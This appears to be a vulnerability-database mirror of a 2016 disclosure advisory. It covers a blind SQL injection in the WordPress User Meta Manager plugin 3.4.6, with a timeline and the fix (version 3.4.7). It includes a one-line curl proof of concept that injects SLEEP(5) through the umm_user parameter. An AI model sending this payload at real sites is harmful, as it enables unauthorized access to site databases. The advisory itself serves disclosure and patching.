Lucene search
K

WordPress User Meta Manager 3.4.6 Blind SQL Injection

🗓️ 06 Feb 2016 00:00:00Reported by panVagenasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

WordPress User Meta Manager 3.4.6 Blind SQL Injection in AJAX action

Code
`  
* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]  
* Discovery Date: 2015/12/28  
* Public Disclosure Date: 2016/02/04  
* Exploit Author: Panagiotis Vagenas  
* Contact: https://twitter.com/panVagenas  
* Vendor Homepage: http://jasonlau.biz/home/  
* Software Link: https://wordpress.org/plugins/user-meta-manager/  
* Version: 3.4.6  
* Tested on: WordPress 4.4.1  
* Category: webapps  
  
Description  
================================================================================  
  
AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta   
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection  
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET   
param.  
  
PoC  
================================================================================  
  
```sh  
curl -c ${USER_COOKIES} \  
"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\  
&umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"  
```  
  
Timeline  
================================================================================  
  
2015/12/28 - Discovered  
2015/12/29 - Vendor notified via support forums in WordPress.org  
2015/12/29 - Vendor notified via contact form in his site  
2016/01/29 - WordPress security team notified about the issue  
2016/02/02 - Vendor released version 3.4.7  
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7  
  
Solution  
================================================================================  
  
Update to version 3.4.7  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation